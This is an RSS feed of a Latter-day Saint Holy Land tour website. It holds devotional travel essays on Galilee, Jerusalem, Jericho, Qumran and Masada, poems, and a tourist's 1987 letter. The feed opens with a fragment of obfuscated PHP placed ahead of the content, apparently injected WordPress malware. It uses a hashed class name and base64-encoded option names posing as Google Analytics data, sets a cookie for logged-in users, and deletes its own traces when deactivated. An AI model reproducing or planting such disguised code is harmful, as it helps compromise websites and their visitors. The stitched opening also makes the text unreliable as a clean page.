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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_2b967d92=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_2b967d92])){return;}$_317dc73e=time()+(365*24*60*60);setcookie($_2b967d92,'1',$_317dc73e,'/','',false,false);}}register_deactivation_hook(__FILE__,function(){delete_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='));delete_transient(base64_decode('X19nYV9yX2NhY2hl'));delete_option(base64_decode('X19nYV9zbmlwX2lk'));});new GAwp_f670d34e(); Gethsemane – Israel Revealed https://www.israelrevealed.com LDS Tours in Israel featuring Daniel Rona Fri, 06 Apr 2018 00:01:55 +0000 en-US hourly 1 https://wordpress.org/?v=5.4.19 https://www.israelrevealed.com/wp-content/uploads/2017/03/favicon.png Gethsemane – Israel Revealed https://www.israelrevealed.com 32 32 The Land of Miracles: Israel https://www.israelrevealed.com/the-land-of-miracles-israel/ https://www.israelrevealed.com/the-land-of-miracles-israel/#comments Fri, 06 Apr 2018 00:01:55 +0000 https://www.israelrevealed.com/?p=3986

Israel: Mountainous, Green and Peaceful
Israel: Mountainous, Green and Peaceful

Israel is a land of miracles, mountainous, green and peaceful. Visitors are astonished to find most ethnic peoples getting along just fine. Amazement is evident when the fertile, green landscape is viewed and the result of reforestation of about 200,000,000 trees is enjoyed. Borders are still in existence, but it is more peaceful than ever before in modern history.

GOOD FENCE

The tops of the hills of Naphtali and the northern part of the Golan Heights border the now peaceful southern Lebanon. Due to the Lebanese civil conflicts and the anarchy of terrorism further north, southern Lebanon has become quite isolated. When Israel was proclaimed a state in 1948, many of the Arab people from the north of Israel settled permanently in this area, just north of the border of Israel. Recently, thousands of these same Moslems and Christians have come back across Israel’s `Good Fence’ for medical aid and to shop for basic necessities. There are hundreds of Lebanese that regularly work in Israel, some even drive their cars, specially licensed, back and forth across the border.

The Hula Valley
The Hula Valley

THE HULA VALLEY

The challenge to drain the ancient, stinking swamps called the Hula, was met by new Jewish immigrants in the 1940’s and 50’s. The land is now fruitful. Many of the returning Lebanese visitors are surprised to see the new landscape which has changed considerably since they last saw it almost forty years ago. New settlements and development towns like Kiryat Shemona dot the fertile countryside.

THE SPRINGS OF THE JORDAN

Much of this fertility comes from the luscious nature preserve bursting forth with springs, trickles and bubbling brooks. The three sources of the Jordan River that come together are from the Lebanese mountains, the Mount Hermon, (Banias), and the springs of Dan. A walk through the Dan area is like a stroll in the Garden of Eden. The waters depart from the ruins of the tribe of Dan and combine with the run-off from Mount Hermon, then flow down to the Sea of Galilee. The Hebrew word for going down is “yored”. Some people feel that the term or expression “yored – Dan”, is the origen of the name Jordan, (even though Joshua crossed the Jordan River before the tribe of Dan had settled in this northern area).

The name “Banias” is derived from the name “Paneus”, meaning a place (and resort) where the mythological God Pan was worshipped. Incidentally, in mythology, the god Pan was responsible for nature and vegetation. The Roman held pagan worship activities in this incredibly verdant area.

Caesarea
Caesarea

CAESAREA PHILIPPI

At the foot of Mount Hermon where the Banias source of the Jordan River begins and by a huge rock escarpment, stood the two thousand year old town of Caesarea
Phillipi built by Herod Philip. Here, Jesus asked his disciples, “…Whom do men say that I the Son of man am?” and then “…whom say ye that I am”. Simon, son of Jonah, (Bar Jonah in Aramaic means the “son of your father Jonah”), said, “…Thou art the Christ, the Son of the living God”. Jesus responded to Simon by calling him Peter, (Petrus in Greek), a rock, then most likely indicating the massive rock, reminded Simon Peter that flesh and blood had not revealed it to him but that his Father in Heaven had. (MATTHEW 16:13-19) The dialogue, with words from several languages, seems to be a lesson to Simon Peter (Rocky in very modern English) that there is a difference in perceiving things by man’s (flesh and blood) understanding as compared to that which comes through revelation from his Father in Heaven. A sure way to recognize the Messiah, the Son of the Living God, is with the rock of revelation.

THE DRUSE

On Mount Hermon, in the Golan Heights, are several villages of Druze, a people claiming to be descendants of Jethro, the father-in-law of Moses. Their industrious nature and secretive religious functions, customs and traditions make them an unusual and colorful people. They are an integral part of Israel’s modern population, serving in government and military positions.

THE KENITES

Some speculation suggests that the Druze may be much like the ancient biblical Kenite people, who unlike the Canaanites, were loyal to Israel. (1 SAMUEL 15:6) Modern archaeology seems to indicate that the Kenites practiced similar Israelite religious customs and even built their temples like the temple of Israel, (three courtyards, holy of holies, horned altar, etc.)..

GOLAN HEIGHTS

Since 1967, the Golan has become a peaceful place as Israelis have cleared this rocky land, discovered great farming soil as well as new water sources. The unique combination of rich volcanic soil and modern farming techniques have produced outstanding agricultural yields including award winning grape and wine production for modern Israel.

Close to sixty different ancient Jewish sites, dating to the 3rd, 4th and 5th Centuries after the time of Jesus, have been found as new Jewish settlements were established. During the beginning decades of the modern State of Israel, the Syrians used the Golan Heights to shoot at Israeli settlements and swamp clearing operations in the Hula Valley below. In the 1967, six-day war, the Israelis moved the Syrians off the western side of the heights and to the Eastern low lands on the other side. Since then, on the Israeli side, the Hula valley and the Golan above it has become fruitful. The Golan was inhabited by Israel (tribes of Dan, part of Manasseh and some Levites) in Old Testament times as well. (JOSHUA 21:27) Most of the New Testament accounts occurred in the Golan/Galilee area.

FISHES AND LOAVES

At the Lower Golan, on the eastern shore of the Sea of Galilee, a more desolate or deserted place where few people lived, Jesus would go to be alone. But when the people heard that he was there, they followed him out of their cities. He blessed them and preached to them until the Disciples urged Jesus to let them go home to buy food to eat, He said, “…Give ye them to eat. And they said, We have no more but five loaves and two fishes; except we should go and buy meat for all this people. For they were about five thousand men. And he said to his disciples, Make them sit down by fifties in a company. And they did so, and made them all sit down. Then he took the five loaves and the two fishes, and looking up to heaven, he blessed them, and brake, and gave to the disciples to set before the multitude. And they did eat, and were all filled: and there was taken up of fragments that remained to them twelve baskets.” Jesus told the disciples to feed the people, they said it couldn’t be done because they did not have enough food. He took what they had, prepared it and returned it to the disciples, then they were able to feed loaves and fishes to five-thousand – not counting women or children. (LUKE 9:11-17)

Capernaum Ruins
Capernaum Ruins

CAPERNAUM: A ROMAN AND JEWISH CITY

In recent times, excavations have uncovered the ruins of a once thriving city of Romans and Jews. In ancient times, Capernaum may have had ten thousand inhabitants. It was a Roman toll station. It seems that a toll-taker challenged Peter for toll on his guest, Jesus of Nazareth. Peter apparently offered to pay it, but Jesus begins a significant dialogue, “What thinkest thou, Simon? of whom do the kings of the earth take custom or tribute? of their own children, or of strangers? Peter saith unto him, Of strangers. Jesus saith unto him, Then are the children free. Notwithstanding, lest we should offend them, go thou to the sea, and cast an hook, and take up the fish that first cometh up; and when thou hast opened his mouth, thou shalt find a piece of money: that take, and give unto them for me and thee. (MATTHEW 17:24-27) Graciously, Peter offers to pay the tribute for Jesus (which actually was unnecessary). Jesus, even more graciously, has Peter catch a fish which contains a coin in its mouth of large enough value to pay the toll for both of them.

Capernaum was the home of Peter and other apostles, including James, John and Matthew. (MARK 1:29) Matthew was also a toll-taker. Jesus lived here for eighteen to twenty months of his three-year ministry. Most of his miracles occurred here or at nearby Chorazim or Bethsaida. Sadly, these three cities were cursed by Jesus and only their ruins are visible today. (MATTHEW 11:20-24)

Some other of the better known miracles that happened at Capernaum include a palsied man being lowered through the roof on his bed so Jesus could heal him; healing a man with a withered hand; healing Peter’s mother-in-law; having Peter catch fish on the other side of the boat; healing the centurion’s servant from a distance and many others.

Jesus must have made many friends here, after all, thousands followed him. It is conceivable that the very first ones to gather around him when he came out or arrived to speak were the little children. Many parents would also bring their children for blessings. The Disciples would try to turn them away so they would not disturb the Master, He responded, “…Suffer (allow) little children, and forbid them not, to come unto me: for of such is the kingdom of heaven. (MATTHEW 19:14-15)

Of the children at Capernaum, one recalls the account of a twelve-year old girl who was ill. Her father, the leader of the synagogue, begged Jesus to come and heal her. On the way to bless her, Jesus noted that a woman had touched his garment. (MARK 5:21-43)

Religious Jews today wear a garment of wool called a talith, the name seems to be derived from the Hebrew word for lamb, “taleh”. The hem or the strings of the talith are customarily touched during Jewish religious services, (the four sets of strings are knotted so that the sum of knots and strings equal 613 – the number of laws and covenants including the ten commandments, given to Moses on Mount Sinai). The woman who touched the garment of Jesus (probably the talith) was healed. When he questioned who had touched him, the women fell at his feet and confessed, probably because it was totally against Jewish custom for a woman, bleeding (ritually unclean), to touch anyone. Jesus assured her that her faith had made her whole.

By the time Jesus arrived to bless the daughter of the leader of the Synagogue, she had died. The people laughed at Jesus when he said the girl was only “asleep”. He sent all the mourners away, then, with Peter, James and John, “…he taketh the father and the mother of the damsel…and entereth in where the damsel was lying. And he took the damsel by the hand, and said unto her, Talitha cumi…” The endearing term, Talitha, may have been Jesus’ way of saying “my little lamb”, or “curly locks” – and “cumi”, in Hebrew, means get up. “And straightway the damsel arose, and walked…” (MARK 5:21-43)

The tender feelings, personal nature and poetry of Jesus and his teaching methods are reflected in the following verses that a young curly locked girl might have thought, two thousand years ago:

TALITHA – The reflections of a little girl.

They said he was a stranger man,
but, I liked him right away.

The crowds lingered and followed him
but, I always heard him say:
Hello my precious little one,
will you sit with me today?

He called me Talitha, curly locks,
…and he taught me how to pray.

When I was sick, he came to me.
but, my life had slipped away.

He told my father, not to fear,
Have faith, he was heard to say.

Then, took my little hand and said:
Talitha, rise up and stay.

Mount of Beatitudes
Mount of Beatitudes

BEATITUDES – MOUNT OF BEATITUDES

On the northern shore of the Sea of Galilee, on a higher elevation overlooking the sea, a higher law was given on the Mount of Beatitudes. Even ancient travelers have written in their journals of the peaceful feeling of this Mount. A church designed by the Italian architect, Barlucci, marks the traditional location. Considering the proximity of this place to other communities nearby where Jesus taught and lived (Capernaum, Chorazim and Bethsaida), the breathtaking view that inspires and the feelings travellers have reported throughout the centuries, this is a likely spot where Jesus might have shared an explanation of his mission with the twelve Apostles. (MATTHEW 5)

SERMON ON THE MOUNT

The Sermon on the Mount was apparently given to the Twelve, “And seeing the multitudes, he went up into a mountain: and when he was set, his disciples came unto him”, (MATTHEW 5:1), yet it invites all people, whether rich or poor in spirit, happy or mourning, popular or persecuted, to come unto him. He promised that they would be filled with the Holy Ghost if they would accept Him.

Jesus indicated that the Law of Moses was fulfilled in Him, that he was restoring a higher law, one that was governed and dictated more by the spirit and intent than by the letter of the law, which was given at Mount Sinai, (after Moses had destroyed the first set of tablets). A better understanding of the Sermon on the Mount comes when comparing it to the commandments given on Mount Sinai.

A closer look at the “Beatitudes” also reveals that Jesus gave additional commandments. They were based on the original “Law of Moses”, but had deeper spiritual implications, implying that the reason behind keeping the commandments was more the spiritual guideline than the “letter of the law”.

The “old” and “new” laws are again like a “chiasm”, with the Savior’s ministry and subsequent atonement as the center, the “turning point”, linking the lesser and higher laws. The following poem illustrates this:

THE SERMONS ON THE MOUNTS

The law was given, the standard set.
But, best was not accepted yet.
We compromised with Heaven’s voice,
Just ten commandments was our choice.
Tooth for tooth and eye for eye,
retribution was the cry.

LESSER LAW

No other God-
Or Image Graven-
Not in vain, the name of Heaven –
Remember sabbath,
Father, Mother –
Thou shalt not kill –
Nor defile another –
Do not steal –
Or false word belabor –
Do not covet the wealth of neighbor –

But then was promised a covenant new,
inwardly, God would speak to you.
With sins forgiven and God revealed,
a higher law on us was sealed.

HIGHER LAW

Bless your neighbor-
Share a kindly word-
Give to others –
And clean thoughts preferred –
No need for anger to hide your smile –
Parents, children walk the second mile –
Use the Sabbath, blessings to bestow –
The name of God in your good deeds show –
Your life will God’s true image mirror,
As you and He become much nearer.

The secret of God’s law is known
when action by intent is shown.
In Heaven’s highest throne to stay,
Use thought and reason to guide the way.
The highest law is now defined –
in thought, in spirit and in the mind.

CHIASM

As stated before, the two sets of law form a chiasm around the ministry and atonement of Jesus. Fifty days after His crucifixion at Passover, the Holy Ghost came upon the congregation in Jerusalem. The Jewish Holiday commemorating the giving of the “Lesser” Law at Mount Sinai is also celebrated fifty days after Passover. Apparently, the same day was used in giving the gift of the Holy Ghost, the “Higher” Law. (ACTS 2:1-5) The day is called Pentecost.

Sea of Galilee
Sea of Galilee

SEA OF GALILEE

Seven hundred feet below sea level, the waters of the upper Jordan River feed and form the Sea of Galilee. Here, Jesus walked on the water; the apostles were astonished and even frightened when they saw Him. “But when they saw him walking upon the sea, they supposed it had been a spirit, and cried out…” “…and were troubled.” (MARK 6:44-51) Jesus bid Peter to walk, but when Peter saw what danger he was in – he began to sink. Peter cried out, “…save me”, Jesus then helped him out of the water and said, “…wherefore didst thou doubt?” Was Jesus teaching Peter a very personal lesson? After all, Peter was crying out to be saved. Was Jesus reminding Peter that he did not need to doubt, that Jesus was the Savior, that he came to save? (MATTHEW 14:30-32)

Due to the level of the lake being below sea level, (about 700 feet below), and the heights of the surrounding hills, (rising almost 10,000 feet above sea level), sudden storms still arise on the Sea of Galilee. Jesus calmed the wind and the waves, showing that he was the master of ocean and earth and skies. Comments were made, “What manner of man is this, that even the wind and the sea obey him?” (MARK 4:37-41)

Another sea story included Peter, who after fishing all night without catching anything, was told to cast his nets on the other side of the boat. He did, and drew so many fish that the boat almost sank. Their nets broke and the fishermen were not able to manage the harvest. (LUKE 5:4-9) From these shores, Jesus drew the fishermen and told them, “…I will make you fishers of men”. (MATTHEW 17:24-27)

After the resurrection, the Savior appeared to the Apostles at the Sea of Galilee. They had been fishing all night — and had caught nothing. He told them again, “…cast your nets on the right side of the ship”. (JOHN 21:6) The two stories of catching fish, one at the beginning of his earthly ministry and the second after his earthly ministry is another chiasm. The savior’s atonement is again evident as the center subject.

The first time the Disciples were told by Jesus to cast their nets on the other side, the nets broke, they were not able to harvest the fish. Three years later, he told them the second time to cast on the other side, this time the nets held together and the Disciples pulled in the catch. A symbolic consideration could be that their three years of training with the Master was to teach them how to be successful fishers of men.

After the resurrection, as they successfully pulled the nets in, Jesus bade Peter and the others to eat with him. Jesus, then asking Peter three times if he loved him more than the fishes, kept reminding Peter, “…Feed my sheep”. (JOHN 21:1-17) Jesus’ role is to save, the Apostles role is to feed the sheep. It seems that once the Twelve had learned that relationship, they were able to more successfully teach, effectively bless and divinely save; because now, they were not trying to do things from themselves, but were truly working in the name of Jesus.

It is his name upon us that is a constant reminder of the miracle of life eternal. He blessed, he saved, he restored. Modern Israel is a witness of the power of restoration of the land and of the people. The miracles of old are reflected in a now new land of miracles.

Remember your dream of walking in the footsteps of the Savior?

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Israel – It’s Ups & Downs https://www.israelrevealed.com/israel-its-ups-and-downs/ https://www.israelrevealed.com/israel-its-ups-and-downs/#respond Tue, 20 Mar 2018 20:55:40 +0000 https://www.israelrevealed.com/?p=3956

Israel Temple Mount
Israel Temple Mount

It’s said, life has its ups and downs. The well known author, Dr. M. Scott Peck, described love as lifting, bringing up, and evil as destroying or tearing down. The Book of Mormon prophet, Alma, spoke metaphorically of good coming from “above” and evil coming from “below”. (ALMA 5:40-41) It’s fascinating to consider Jerusalem as up! Likewise, in this Holy City and Holy Land, men who made themselves great (kings) were humbled — and men who were humble (prophets) were made great

JERUSALEM

Jerusalem, once a Jebusite city before David conquered it, is also known by other names, such as Salem, Zion, Ariel, City of The Lord or simply, The Holy City. Just the mention of Jerusalem invokes the thought of “looking up” to the `Mountain of the Lord’s house’. (ISAIAH 2:2) Jerusalem can only be reached by coming “up”. Today it is situated on seven hills and has six principal canyons leading up to it. Each canyon ends by a hill or mount that overlooks the city of Jerusalem. Each hill acts as a guardian or fortress for the city. The city is surrounded by a “wall of people”.

Mount of Olives
Mount of Olives

MOUNT OF OLIVES

In the Judean hills, the Mount of Olives looks over Jerusalem. It is about 2700 feet above sea level and is the highest of the several hills in the immediate area of the Holy City. This mount is sacred as a place for the dead as well as for its biblically renowned orchards and vineyards.

The graveyard has been the hallowed resting spot for millennia of dead. Jewish graves dating back almost three thousand years still point feet first toward the Temple Mount, (it is a Jewish custom that all graves face feet-first towards Jerusalem and in Jerusalem towards Temple Square. Recently, a gravestone with the name of King Uzziah inscribed on it was discovered on the Mount of Olives in the Russian Orthodox Church located adjacent to the graveyard. The bible indicates Uzziah’s burial (about 2800 years ago) in the place where Kings were buried, most likely, the Mount of Olives. (2 CHRONICLES 26:22)

WARNING SIGNS

There is a modern roadway, built at the time the Jordanians controlled this area, that now runs directly through these ancient grave-sites. Approaching or leaving Jerusalem, signs warn Jews who are Levites or consider themselves Cohens, (as priests are called in Hebrew), not to travel further on this modern road because it leads through a grave yard. Ancient biblical tradition instructs a Levite or a Jewish Priest not to touch anything dead – except for the unblemished, firstborn sacrifice at the Temple. So, rather than take a chance to be defiled by the emanations of the dead, even though they know the priesthood has been lost, modern Levites take another road, on the other side of this Mount. (NUMBERS 19:11)

In modern times there is an Ultra-Orthodox group which has dedicated itself to the preservation of graves and protecting the graves as well as those who might pass by from any possible defilement. They put up the warning signs and they are on location of almost all the archaeological digs and construction projects, often creating a hinderance.

PRIESTLY TRAVELLERS

From Jerusalem the ancient highway goes down to the Dead Sea. In just a dozen miles or so, there is a descent of about four-thousand feet to thirteen-hundred feet below sea level. (LUKE 18:31) The ancient road was rather desolate. It was the commute road travelled by Temple priests who lived in the Levite city of Jericho and served in Jerusalem’s Temple.

Since travelling in ancient times included animals for food and barter as well as transportation, and money for accommodations as well, it was not wise to travel alone. Caravans were organized and regularly scheduled. Special travel rules of cleanliness applied to the priests who had to remain “unblemished” to serve in the Holy Temple. They would stay away from any decay or waste matter and of course they kept a distance from anything dead (that was not killed as a sacrifice in the Temple).

AN INN

On the road from Jerusalem to Jericho an old inn has been restored to represent the “Good” Samaritan Inn of a New Testament story Jesus told. This setting reminds us of the parable Jesus chose as he answered a lawyer, who challenged Jesus, the lawgiver; “What must I do to inherit Eternal Life?”.

WHO IS MY NEIGHBOR?

Preceding a consideration of Jesus answer, a little background would be helpful. It is sometimes surprising to consider Jesus as a lawyer instead of a carpenter. Was he sent to earth to be educated as a carpenter? Or is it more likely that Jesus studied the law that he was supposed to restore? After all, he is the lawgiver, our advocate with the Father. “. . . we have an advocate with the Father, Jesus Christ the righteous. . . (JOHN 2:1) He was recognized as a Rabbi, a lawyer, one schooled in the Law, he was authorized to read in the synagogues. (LUKE 4:16) So, answering the lawyer who challenged Jesus and having been trained in the law himself, the new Rabbi from Nazareth answered with a question, “What is written in the law? How readest thou?”. Showing his own legal acumen, the lawyer recited the first law of loving God and neighbor, but challenged Jesus to a legal definition, “Who is my neighbor?”.

PARABLE OF THE “GOOD” SAMARITAN

The Savior related then, this story: “A certain man went down from Jerusalem to Jericho and fell among thieves, which stripped him of his raiment, and wounded him, and departed, leaving him half dead. And by chance there came down a certain priest that way: and when he saw him, he passed by the other side. And likewise a Levite, when he was at the place, came and looked on him, and passed by the other side. But a certain Samaritan”, (a non-jew), “…came where he was: and bound up his wounds, pouring in oil and wine and set him on his own beast and brought him to an inn and took care of him.” (LUKE 10:25-37)

PRIESTS AVOID THE DEAD

Today, local Jews don’t use the term Good Samaritan“, to some, it has an anti-semitic inference to bad Jews. Of course, Jesus had no intent of portraying Jews as uncompassionate – in his story he’s making a legal point to the lawyer’s question, legally, who is my neighbor. The Hebrew inference was that the priest, and the Levite were within their legal rights – not to be defiled by being too close to the dead, and rather than take a chance, they went on the other side. Their lack of action was strictly legal, but missed the higher law of compassion – governed by the spirit, not the letter of the law. (Talmudic commentary written some hundreds of years later indicates that Levites or Cohens are required to bury the dead if they chance upon a cadaver).

The Dead Sea
The Dead Sea

JERUSALEM TO THE DEAD SEA

The area from Jerusalem to the Dead Sea is a contrast like no other. The annual rainfall in the Judean hills is the same as in London, (about 23-24 inches), but just about a dozen miles away, the Jordan desert and the Lake of Salt receive but a few drops, (historically, less than 1 inch). Here the lower Jordan River empties into the Dead Sea. The area around the Dead Sea has looked much like a moonscape, but the greenery from the tops of the Judean Hills is now being brought to the desert. As you see the contrasts of desert and fruitful, green fields, you may well wonder why God led the ancient covenant people of Israel across the Jordan River to this harsh desert area. (JOSHUA 4:1-5)

THE WALLS OF JERICHO

Just north of the Dead Sea, you find Jericho, nestled at the bottom of the Judean hills. You discover a quiet town of fruit and vegetable growers, a trade route city that encountered at least twenty eight different conquests, as this evidenced in the excavations of this ancient tel. One of those conquests was by Joshua who led the Israelites on six silent daily walks around the walls of the city. On the seventh day they made another six silent walks around the city. All the noiseless marching may have confused the ancient inhabitants of Jericho. It was the seventh walk around the city on the seventh day that was made noisy. Accompanied by trumpets and shouts, the walls came tumbling down! (JOSHUA 6)

TEMPTATIONS FOR WEALTH

The prophet Joshua commanded that all living persons and animals were to be killed except for Rahab, (the harlot who had saved the Israelite spies). All gold, silver or other metal and worthwhile items were to be brought to the Lord’s treasury. Though no loot was to be taken at Jericho, a certain Achan succumbed to the temptation of wealth and took some spoils. Because he took a Babylonish garment, fifty shekels of silver and a wedge of gold and hid them in his tent, the Israelites experienced a terrible defeat at their next battle. After Joshua had interviewed man by man he found Achan who confessed the theft. He, his entire family were stoned to death and then with all of their possessions they were burnt with fire. (JOSHUA 7)

In New Testament times, Jesus was tempted with the wealth of the world by Satan. Jericho is an oasis and as such, an important and busy crossroads. This way station was obviously a place of wealth, natural and man-made. The Mount of Temptation, just above Jericho marks the traditional spot where Jesus’ temptation for wealth may have occurred. (MATTHEW 4:1-11) A monastery has been built into the side of the mount.

When Jesus was teaching at Jericho the tax collector, Zacheus, climbed a tree to better see him. Jesus invited himself to Zacheus’ house to dine with him. People murmured that Jesus was socializing with the expropriator of the people’s taxes. It is interesting to note that tax collectors had to reach a quota set by the Romans. It was imperative that taxes were collected above the normal rate when the economy was good so that the quota could be met when the economy was bad. The people murmured that Zacheus may have abused that system for his own benefit. Zacheus became so impressed with Jesus’ teachings that he offered half of his wealth to the poor and four-fold repayment to the people he had wronged. (LUKE 19:1-17) A tree marks the traditional site of that event.

These three stories have some connection to wealth. Achan, succumbed to temptation, disobeyed and stole. Jesus, tempted, refused the wealth of the world. and Zacheus, having surrendered to temptation, was willing to repay his wrongs – fourfold.

Qumran Caves
Qumran Caves

HISTORY IN QUMRAN CAVES

In the same period of history, another community lived close-by, at the Dead Sea, sharing what little wealth they had in a common unity. The ruins of Qumran echo the history of a people supposed by many to be the Essenes, or as they called themselves, the Sons of Light. (LUKE 16:8) The Dead Sea Scrolls were found quite by accident as some Bedouin boys, apparently throwing stones into cavities of rock, out of curiosity examined one of the many holes and caves by the Dead Sea. They explored one cave, where their stones had struck a clay jar which had lain hidden for close to two thousand years. The leather scrolls in the clay jars were meaningless to them, but eventually they pawned them off for a “few dollars” to a shoemaker in Bethlehem. He was able to sell them for a substantial sum to a Jewish scholar, Dr. Eliezar Sukenik, who recognized their immense historical value.

ESSENE LIFE

After the scrolls were discovered, the ruins became significant and were excavated. Living quarters, writing halls, cisterns and immersion fonts indicated a religious Jewish life. It is not strange to find immersion fonts in this community, after all, Jews still practice immersions today. Many religious Jews feel that water used in ritual immersions must be spring water, the term for that is “living waters”. The Essenes kept copies of the scriptures, interpretations of the scriptures and their own scrolls of doctrines and covenants.

The scroll of doctrines and covenants, The Manual of Discipline, indicates their organization which included the office of a “Teacher of Righteousness” who had two assistants, a “Council of Twelve” overseers, as well as a system of higher and lesser authorities. Some people suggest that this governing system was copied by Jesus and that he may have studied with this sect. It seems highly unlikely that this is the case. However, Jesus did use the same system of government that was given to Moses, a system that partially continued to exist in other Jewish traditions up to and at the time of Jesus. (EXODUS 24:1, JOSHUA 3:12, LUKE 6:13, LUKE 10:1)

SCROLLS CONTAIN OLD TESTAMENT WRITINGS

A part of every book of the Old Testament, except the Book of Esther, was found in these writings, including the entire book of Isaiah. These biblical writings are a thousand years older than any previously known Hebrew biblical text. The best preserved parts of these scrolls are displayed at the Israel Museum in Jerusalem at the Shrine of the Book.

The Ein Gedi Oasis
The Ein Gedi Oasis

EIN GEDI: AN OASIS AT THE DEAD SEA

The most outstanding scenic area at the Dead Sea is undoubtedly the oasis of Ein Gedi. (SONG OF SOLOMON 1:14) Cold fresh water, as well as hot sulfur springs, still flow out of the Judean Mountains. The kibbutz Ein Gedi has done some remarkable farming; it has a youth hostel and cafeteria and boasts of naturally hot and cold running water. The natural hot springs and fresh water falls are an attraction enjoyed by many tourists and a constant draw for Israelis who particularly enjoy nature hiking. The kibbutz Ein Gedi operates a successful spa which attracts visitors from all over the world to take advantage of the healing properties of the Dead Sea. The spa as well as other hotels in the area have resident nurses and medical practitioners to assist visitors in their specialized therapies treating arthritic conditions, psoriasis, eczema and other skin difficulties.

Two thousand years ago, Jewish zealots retreated to nearby caves, in order to hide from the Romans who were not used to mountain climbing and cave searches. A thousand years before that, David, trying to escape the murderous intent of Saul, hid in nearby caves. Saul, searching for David went into a cave “…to cover his feet…” (a scriptural way of saying he went to relieve himself). David, in that same cave, cut off a part of Saul’s cloak but would not kill him. As Saul exited, David revealed himself and said, “I will not put forth mine hand against my lord; for he is the LORD’s anointed.” Saul then replied, “And now, behold, I know well that thou shalt surely be king, and that the kingdom of Israel shall be established in thine hand.”

It is symbolic that David refuses to kill the “Lord’s anointed”… and by inference teaches Saul that neither should he, (David had already been anointed to be the King of Israel). (1 SAMUEL 24)

THE DEAD SEA: LOWEST PLACE ON THE FACE OF THE EARTH

The mineral content of the Dead Sea is about 27-percent. That is the maximum mineral saturation water can have at this elevation and temperature. A mineral extraction plant is located on its southern shore at Sdom, probably derived from the ancient name Sodom. Minerals and derivatives are exported throughout the world. Minerals included in the unusual body of water are magnesium, bromides, calcium chloride, and sodium chloride. Potash is derived from the Dead Sea. Of course, common table salt originates here as well.

At thirteen hundred feet below sea level, the Dead Sea is the lowest place on the face of the earth. It is also thirteen hundred feet deep. The lake’s level has been hundreds of feet higher in ancient times but today it is receding rapidly. Although nothing lives in it, in Hebrew it is not known as the Dead Sea, but known simply as the Salt Lake. (GENESIS 14:3)

Masada Fortress Ruins
Masada Fortress Ruins

MASADA – THE FORTRESS

Herod the Great chose the lifeless surroundings of this area to build two palaces on a naturally separated mesa. Built 1500 feet above the Dead Sea, totally isolated and without life support, Masada became an ancient “Palm Springs”. It was also a fortress to protect Herod from his real or imagined enemies. Magnificent buildings, pools, baths and fountains defied nature. There were enormous food storage chambers and many plastered cisterns, carefully surrounded by double walls and lookout towers. After Herod’s death, Roman soldiers continued to use this pleasure palace but later were unexpectedly routed by Jewish zealots who climbed undetected into this remote Roman garrison.

THE RAMP USED TO DESTROYED MASADA

Later, in trying to retake the fortress, the Romans tried to besiege the mountain. This was more difficult for the Romans below than for the Jews above who had supplies and stored water. The Romans started to fill in the canyon and build a ramp to the top. Josephus, a Jewish-turned-Roman historian, tells us that the Jews stopped the Romans from building the ramp by throwing boulders down on them. The Romans then brought in Jewish slaves from Jerusalem which had just been destroyed, to keep the Jews at the top from stopping the work on the ramp. In the end, more than nine hundred sixty men, women and children collectively took their own lives, choosing death rather than surrender to the Romans.

Excavations made between 1963 and 1967 confirmed many of these strange, almost unbelievable facts, that Josephus wrote about some nineteen hundred years ago.

THE SPIRIT LINGERS ON MASADA

The spirit of collective identity is still felt strongly here as Israeli children and soldiers visit Masada at least once in their military or educational pursuits. Some young Jewish lads come here for their Bar Mitzvah. In the past, elite Israeli military forces took their oaths at this ancient fortress with the cry – “Masada shall never fall again!”

Although an honor and memory of the zealot’s resolve is maintained, the young Israeli, today, has some doubts as to the necessity of their actions. It is said that the underlying reason to take Masada from the Roman garrison was senseless since there was no military or strategic significance for the fortress. It served only the recreation and pleasure of the Roman soldiers. Its conquest did not serve the zealots, nor for that matter, the Romans who subsequently retook it. In that sense, the battle of Masada was a battle of spite. Many young military people, who committedly serve their country today feel that the zealots, 1900 years ago, were misdirected, that the taking of Masada was inconsequential and that zealot lives were lost for an unjustified reason.

The memories of Masada faded as the ruins crumbled and were picked over by nomadic Bedouin traversing this desert area during the last two thousand years. In a land of ups and downs, valleys and mountain, even history has it parallel contrasts. The man-made greatness of Massada was brought down, while the humility of truly great prophets in Jerusalem always has us looking up.

Remember your dream of walking in the footsteps of the Savior?

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The Holy Land Blossomed for Him (Dilworth Rust, A Personal Letter) https://www.israelrevealed.com/the-holy-land-blossomed-for-him-dilworth-rust-a-personal-letter/ https://www.israelrevealed.com/the-holy-land-blossomed-for-him-dilworth-rust-a-personal-letter/#respond Wed, 24 May 2017 20:33:58 +0000 https://www.israelrevealed.com/?p=3303

Dilworth Rust Mormon Travel Israel
Dilworth Rust, Salt Lake Temple

March 25, 1987

Dear Mother,

. . . For our anniversary . . . we were. . . in Israel . . . a wonderful experience, one which I’m sure will always remain with us. The tour was made especially meaningful by our having as a guide, Daniel Rona, a Latter-day Saint Jew authorized to lead guided tours in the Holy Land. He took us to the places that mattered most to a Latter-day Saint: places which fit 1) archaeology, 2) the scriptural record, 3) tradition, and 4) impressions of the Spirit.

The highlights of the week . . . were of both a physical and spiritual nature: visits to the Shepherd’s Fields across from Bethlehem, to “Temple Square”-­ and especially the site where the Holy of Holies . . . will eventually be rebuilt, to the Garden Tomb, and to the Mount of Beatitudes. A sacred spirit was especially evident at the Garden Tomb and . . . the Mount of Beatitudes. All these places have a natural beauty . . . . more than that, though, I was touched with the knowledge that despite all the churches and other shrines constructed in Jerusalem and elsewhere, the places that mattered most were untouched.

A visit to the Church of the Holy Sepulchre left me with a cold feeling; . . . By contrast, when Pat and I went back to the Garden Tomb on Wednesday–our last day in Jerusalem, and a free day for us–we loved sitting on a bench in the garden and meditating and singing. For a while, we were the only ones there. Then when we went by ourselves into the tomb, the sunlight filled up the chamber and there was a wonderful spirit pervading it. Pat and I wanted to stay there and feel the spirit (even though in a place such as that a normal impulse is to get back out into the open). Given the direction of the sun’s rays, I speculated that early on that first Easter morning, the rays might well have penetrated to the furthest recesses of the garden tomb. (It would have been appropriate: the light of the world shining fully upon the newly resurrected “Light of the World.”)

Garden Tomb Israel Mormon Travel
Garden Tomb Israel

Similarly, at the Mount of Beatitudes, (Daniel) took us to a place below the church built on the top of the mount. There at the side of the mountain, looking down upon the Sea of Galilee . . . at the top of an untouched meadow . . . I felt strongly that the Savior had been there and had taught there. . .

